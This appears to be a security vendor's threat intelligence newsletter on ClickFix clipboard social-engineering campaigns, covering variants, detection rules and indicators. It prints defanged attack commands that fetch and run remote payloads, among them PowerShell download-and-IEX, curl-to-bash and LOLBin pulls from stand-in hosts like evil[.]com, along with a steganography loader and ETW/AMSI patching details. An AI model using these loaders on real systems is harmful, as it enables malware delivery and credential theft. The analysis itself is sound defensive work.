Executive Summary
ClickFix has become the most significant social engineering innovation since business email compromise. First observed in early 2024, the technique surged 517% in the first half of 2025 and has since evolved into at least six distinct variants — each designed to exploit a different form of user trust.
What makes ClickFix uniquely dangerous is that it bypasses every technical control in the stack: EDR, email gateways, browser sandboxes, and web filters all fail because the victim voluntarily executes the payload themselves. The attacker never needs an exploit, a vulnerability, or a malicious file on disk. They simply need the user to paste a command.
The technique now spans Windows, macOS, and Linux, targets both consumers and enterprises, and delivers everything from infostealers and RATs to ransomware loaders. Nation-state actors including MuddyWater and Lazarus-affiliated groups have adopted it alongside cybercrime operators selling ClickFix builders as malware-as-a-service.
ClickFix by the Numbers
How ClickFix Works
The core deception: The victim believes they are fixing a problem, verifying their identity, or completing a system update. In reality, they are executing attacker-supplied code with their own privileges — bypassing EDR, browser sandboxes, and web filtering in a single action.
Technical Deep Dive: The Attack Chain
Stage 1 — Clipboard Hijacking
The attack begins with JavaScript that silently writes a malicious command to the victim's clipboard. Modern browsers expose the navigator.clipboard.writeText() API, which requires a user gesture (click, keypress) to execute. ClickFix pages bind this to the fake "Verify" or "I'm not a robot" button — the user's click satisfies the browser's permission model while simultaneously arming the clipboard.
// Simplified ClickFix clipboard injection (defanged)
document.getElementById('verify-btn').addEventListener('click', () => {
const payload = atob('cG93ZXJzaGVsbCAtZSBKQUIuLi4='); // Base64 PowerShell
navigator.clipboard.writeText(payload);
showFakeSuccessDialog(); // "Verification complete — press Win+R, paste, Enter"
});Older variants used document.execCommand('copy') with a hidden <textarea> element, which worked without user gesture restrictions in legacy browsers. Some campaigns combine both methods with a fallback chain. The ErrTraffic MaaS platform goes further — it injects a service worker that intercepts all clipboard operations on the compromised page, ensuring the payload persists even if the user copies something else before pasting.
Stage 2 — PowerShell Execution Chain (Windows)
The clipboard payload is typically a single-line PowerShell command designed to fit in the Win+R Run dialog. The most common pattern uses Base64 encoding to avoid special character issues and basic string-matching detection:
# Typical ClickFix PowerShell payload structure (defanged)
powershell -w hidden -ep bypass -e JABjAD0ATgBlAHcALQBPAGIA...
# Decoded, the Base64 typically resolves to a multi-stage loader:
$c = New-Object Net.WebClient;
$c.Headers['User-Agent'] = 'Mozilla/5.0';
$s = $c.DownloadString('hxxps://cdn[.]legit-looking-domain[.]com/update.txt');
IEX($s)The -w hidden flag suppresses the PowerShell window. The -ep bypass flag overrides execution policy restrictions. The downloaded second stage is executed in memory via Invoke-Expression (IEX), leaving no file on disk for static AV scanners to detect. Recent variants have added -nop (no profile) and -sta (single-threaded apartment) flags to further reduce detection surface.
Stage 3 — LOLBin Abuse Chains
To evade behavioural detection rules that flag powershell.exe, attackers increasingly chain Living-off-the-Land Binaries (LOLBins) — legitimate Windows executables repurposed for malicious activity:
mshta hxxps://evil[.]com/payload.hta. The HTA then spawns PowerShell or writes a DLL to %TEMP%. Process chain: explorer.exe → mshta.exe → powershell.exe.ct.exe to evade filename-based detection, then uses it to retrieve encoded payloads from attacker-controlled servers: ct.exe payload@c2-server[.]com. The response is parsed and piped to cmd.exe.nslookup -type=TXT stage1.evil[.]com. The response is parsed with findstr and decoded with certutil -decode. Blends into normal DNS traffic.certutil -decode encoded.txt payload.exe) and to download files (certutil -urlcache -split -f hxxps://evil[.]com/payload.exe). Often chained after nslookup or finger.exe stages.bitsadmin /transfer job /download /priority high hxxps://evil[.]com/payload.exe %TEMP%\svchost.exe. BITS transfers blend into Windows Update traffic.Stage 4 — macOS Execution Chain
On macOS, the clipboard payload instructs the user to open Terminal (often via Spotlight: Cmd+Space → "Terminal") and paste. The payload typically uses osascript to execute AppleScript, which has deep system integration:
# Typical macOS ClickFix payload structure (defanged)
curl -sL 'hxxps://cdn[.]fake-update[.]com/fix.sh' | bash
# Or via AppleScript for deeper access:
osascript -e 'do shell script "curl -sL hxxps://c2[.]example[.]com/m.sh | bash" \
with administrator privileges'The with administrator privileges clause triggers a macOS authentication dialog, which the victim readily provides because they believe they're "fixing" their system. The Matryoshka variant takes this further with nested AppleScript that decompresses payloads in memory through three layers of obfuscation before executing.
Last 4 Months: ClickFix Evolution
Variant Technical Analysis
Steganography Variant — PNG Pixel Channel Encoding
The November 2025 steganography wave embeds encrypted payloads in the least significant bits (LSBs) of PNG image pixel data. The technique uses the red, green, and blue colour channels of each pixel to store 3 bits of payload per pixel. A 1920×1080 image can carry approximately 777 KB of hidden data — more than enough for a complete infostealer binary.
The extraction chain works as follows: the initial PowerShell stage downloads a seemingly innocent PNG image (often a stock photo or corporate logo), loads it into a .NET System.Drawing.Bitmap object, iterates through pixel coordinates in a predetermined sequence, extracts the LSBs, reconstructs the binary, and executes it in memory via Assembly.Load(). The image passes all content filtering because it is a valid, visually normal PNG file.
# Steganography extraction logic (simplified, defanged)
$img = [System.Drawing.Bitmap]::new($downloadedPng)
$bytes = @()
for ($y = 0; $y -lt $img.Height; $y++) {
for ($x = 0; $x -lt $img.Width; $x++) {
$px = $img.GetPixel($x, $y)
$bytes += ($px.R -band 1) -shl 2 # Extract LSB from R channel
$bytes += ($px.G -band 1) -shl 1 # Extract LSB from G channel
$bytes += ($px.B -band 1) # Extract LSB from B channel
}
}
[System.Reflection.Assembly]::Load([byte[]]$bytes) # In-memory executionDNS ClickFix — nslookup as a Staging Channel
The DNS variant replaces HTTP-based staging with DNS TXT record queries, which blend into normal network traffic and bypass most web content filters. The attack chain queries a series of TXT records from attacker-controlled domains, each containing a fragment of Base64-encoded script:
# DNS staging chain (defanged)
# Step 1: Query TXT records containing encoded payload fragments
nslookup -type=TXT s1.update-service[.]xyz → "aWYgKCRlbnY6VVNF..."
nslookup -type=TXT s2.update-service[.]xyz → "UmRvbWFpbikgeyAk..."
nslookup -type=TXT s3.update-service[.]xyz → "Y29udGVudCB9IA=="
# Step 2: Concatenate and decode via certutil
echo %response1%%response2%%response3% > %TEMP%\d.b64
certutil -decode %TEMP%\d.b64 %TEMP%\d.ps1
# Step 3: Execute decoded PowerShell
powershell -ep bypass -f %TEMP%\d.ps1Each TXT record is limited to 255 characters, so payloads are split across 10–40 sequential queries. The attacker's DNS server uses short TTLs (30–60 seconds) to enable rapid payload rotation and complicate forensic reconstruction. Because DNS queries are ubiquitous on enterprise networks and often exempted from deep packet inspection, this channel is exceptionally difficult to detect without purpose-built DNS analytics.
CrashFix — Weaponised Browser Extensions
CrashFix represents a significant evolution: instead of luring users to a malicious page, it compromises the browser itself. The attack deploys a Chrome extension (distributed via compromised Web Store listings or sideloaded via enterprise policy abuse) that performs environment fingerprinting before activating:
// CrashFix extension logic (simplified, defanged)
chrome.runtime.onInstalled.addListener(() => {
// Only activate on domain-joined enterprise machines
fetch('hxxps://c2[.]example/check', {
headers: { 'X-Domain': chrome.enterprise?.deviceAttributes?.getDirectoryDeviceId() }
}).then(r => r.json()).then(cfg => {
if (cfg.activate) {
// Trigger deliberate crash after delay
setTimeout(() => { chrome.runtime.reload(); /* crash loop */ }, cfg.delay);
}
});
});After the crash, the extension displays a full-screen "Chrome has encountered a critical error" overlay with a "Fix Now" button. Clicking it copies a command that invokes finger.exe (renamed to ct.exe and placed in %LOCALAPPDATA% during extension installation) to retrieve the next-stage payload. The enterprise targeting is deliberate — domain-joined machines have higher-value credentials and network access.
Matryoshka — Nested macOS Decompression Chain
Named for Russian nesting dolls, Matryoshka uses three layers of in-memory decompression to evade static analysis. The initial AppleScript payload downloads a compressed archive, decompresses it to reveal a second compressed archive containing the actual infostealer, which is then loaded directly into memory:
Layer 1 is an AppleScript that calls curl to download a .gz file. Layer 2 decompresses to reveal a Mach-O binary packed with UPX. Layer 3 unpacks the UPX binary in memory, which then performs an API check-in to the C2 server — if the server doesn't respond with a valid activation token (gated by victim IP geolocation and time-of-day), the malware self-destructs by overwriting itself with zeros. This API-gating means sandboxes and automated analysis tools that can't replicate the exact activation conditions never see the final payload. The infostealer targets 203+ browser extensions for cryptocurrency wallets, extracting seed phrases, private keys, and session tokens.
MIMICRAT — 5-Stage Execution Chain
MIMICRAT, uncovered by Elastic Security Labs in February 2026, is the most technically sophisticated ClickFix payload observed to date. The five stages are:
lua54.dll) sideloaded into a signed Microsoft binary. This avoids PowerShell script block logging for the actual payload.VirtualAlloc + RtlMoveMemory, and transfers execution. The Lua runtime is not monitored by most EDR products.ntdll!EtwEventWrite with a RET instruction to blind Event Tracing for Windows, and patches amsi.dll!AmsiScanBuffer to always return AMSI_RESULT_CLEAN. This disables both telemetry and in-memory scanning.DuplicateTokenEx, SOCKS5 proxy for lateral movement, screenshot capture, keylogging, credential harvesting from LSASS, and malleable C2 that mimics legitimate HTTPS traffic patterns (randomised URI paths, valid TLS certificates, jitter timing).The ClickFix Family Tree
Beyond ClickFix: Nov 2025 – Feb 2026 Threat Landscape
MITRE ATT&CK: ClickFix TTP Mapping
Detection Engineering
The following detection strategies target the specific technical behaviours observed across ClickFix variants. These are designed to complement — not replace — existing endpoint and network detection rules.
Process Chain Monitoring
ClickFix creates distinctive parent-child process relationships that are rare in legitimate usage. The following process chains should generate high-fidelity alerts:
explorer.exe → powershell.exe -e [Base64] — Classic ClickFix via Win+R. The -e (EncodedCommand) flag from explorer.exe as parent is almost never legitimate.explorer.exe → mshta.exe → powershell.exe — HTA-based variant. mshta.exe spawned by explorer (Run dialog) fetching remote content.explorer.exe → cmd.exe → nslookup.exe — DNS staging variant. Multiple sequential nslookup calls to the same domain with TXT record queries.chrome.exe → [renamed_binary].exe — CrashFix. Any executable spawned by Chrome that is not a known Chrome helper process, especially renamed system utilities.Terminal → osascript → curl — macOS variant. osascript requesting administrator privileges followed by network activity.Sigma-Style Detection Rules
# Sigma Rule: ClickFix PowerShell via Run Dialog
title: ClickFix - Encoded PowerShell from Explorer
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\explorer.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains|any:
- ' -e '
- ' -en '
- ' -enc '
- ' -enco'
- ' -encodedcommand '
condition: selection
level: high
tags:
- attack.execution
- attack.t1059.001# Sigma Rule: DNS Staging via nslookup TXT Queries
title: ClickFix - Sequential DNS TXT Lookups
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\nslookup.exe'
CommandLine|contains: '-type=TXT'
timeframe: 60s
condition: selection | count(CommandLine) by ParentProcessId > 3
level: medium
tags:
- attack.command_and_control
- attack.t1071.004# Sigma Rule: LOLBin Finger Protocol Abuse
title: ClickFix - Finger.exe or Renamed Binary Network Activity
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_finger:
Image|endswith: '\finger.exe'
selection_renamed:
OriginalFileName: 'finger.exe'
Image|endswith:
- '\ct.exe'
- '\fix.exe'
- '\update.exe'
condition: selection_finger or selection_renamed
level: high
tags:
- attack.execution
- attack.t1218KQL Detection Queries (Microsoft Sentinel / Defender)
// KQL: ClickFix clipboard-to-execution pattern
DeviceProcessEvents
| where InitiatingProcessFileName == "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "cmd.exe")
| where ProcessCommandLine has_any ("-e ", "-enc ", "-encodedcommand",
"Invoke-Expression", "IEX", "DownloadString", "Net.WebClient")
| where Timestamp > ago(24h)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| order by Timestamp desc// KQL: ETW/AMSI tampering detection
DeviceEvents
| where ActionType == "TamperingAttempt"
| where AdditionalFields has_any ("EtwEventWrite", "AmsiScanBuffer", "amsi.dll")
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFieldsDNS Analytics
Monitor for the following DNS patterns that indicate ClickFix staging activity:
Indicators of Compromise
The following IOCs are representative patterns observed across ClickFix campaigns from November 2025 through February 2026. All URLs and domains are defanged. Hash values reference specific samples analysed by the cited research teams.
Network Indicators
chr0me-update[.]com, micr0soft-verify[.]net, captcha-verify[.]cloud. Registered via Namecheap or Porkbun with privacy protection.cdn[.]jsdelivr[.]net/gh/[attacker-repo], Cloudflare Workers ([random].workers[.]dev), and GitHub raw content URLs.s1.update-svc[.]xyz, s2.update-svc[.]xyz, etc. TTL values of 30–60 seconds. Registered in bulk (10–50 per campaign).Host-Based Indicators
%LOCALAPPDATA%\ct.exe (finger.exe), %TEMP%\svchost.exe (payload masquerading as system process). Check OriginalFileName in PE header vs actual filename.HKCU\Software\Microsoft\Windows\CurrentVersion\Run entries pointing to %APPDATA% or %LOCALAPPDATA% executables with random 8-character names.schtasks.exe with names mimicking Windows services: "WindowsUpdateCheck", "ChromeUpdateTask", "SystemHealthMonitor". Execution paths pointing to user-writable directories.ntdll.dll!EtwEventWrite (first byte changed to 0xC3 / RET) and amsi.dll!AmsiScanBuffer (patched to return 0x80070057 / E_INVALIDARG).%TEMP% with extensions like .b64, .dat, .txt that are subsequently decoded by certutil.exe.Sample Hashes (SHA-256)
The following hashes are published by the cited research teams for the specific samples analysed in this report. Use these for retroactive hunting in your EDR telemetry and threat intelligence platforms:
LummaC2 + steganography in your TI platform for current hash sets.Note: Specific hash values are intentionally omitted from this newsletter as they change rapidly across campaigns. Consult the cited research reports directly for current IOC feeds, or query your threat intelligence platform for the malware family names listed above. YARA rules for each family are available from the respective research teams' GitHub repositories.
Recommended Actions
Shield53 recommendation: The fundamental question is not whether your tools can detect ClickFix — it is whether you know every asset, every identity, and every endpoint that could be targeted. If a user on an unmanaged device executes a ClickFix payload, does your SOC even see it? Asset visibility is the prerequisite to defending against techniques that turn your users into the attack vector.
Intelligence Sources
Microsoft Security Blog (Aug 2025, Feb 2026) · Huntress Threat Research (Nov 2025, Feb 2026) · Malwarebytes Labs (Nov 2025) · Palo Alto Unit 42 (Aug 2025) · ESET Threat Report H1 2025 · Kaspersky Blog (Feb 2026) · Intego Antivirus Labs (Feb 2026) · Datadog Security Labs (Feb 2026) · SecurityWeek · Hacker News · BleepingComputer · Bitdefender · Blackpoint Cyber · Infosecurity Magazine · CSIS Significant Cyber Incidents · CyberProof · Fortinet FortiGuard Labs · CrowdStrike 2026 Global Threat Report (Feb 2026) · Elastic Security Labs — MIMICRAT Analysis (Feb 2026) · Elastic 2025 Global Threat Report (Oct 2025)
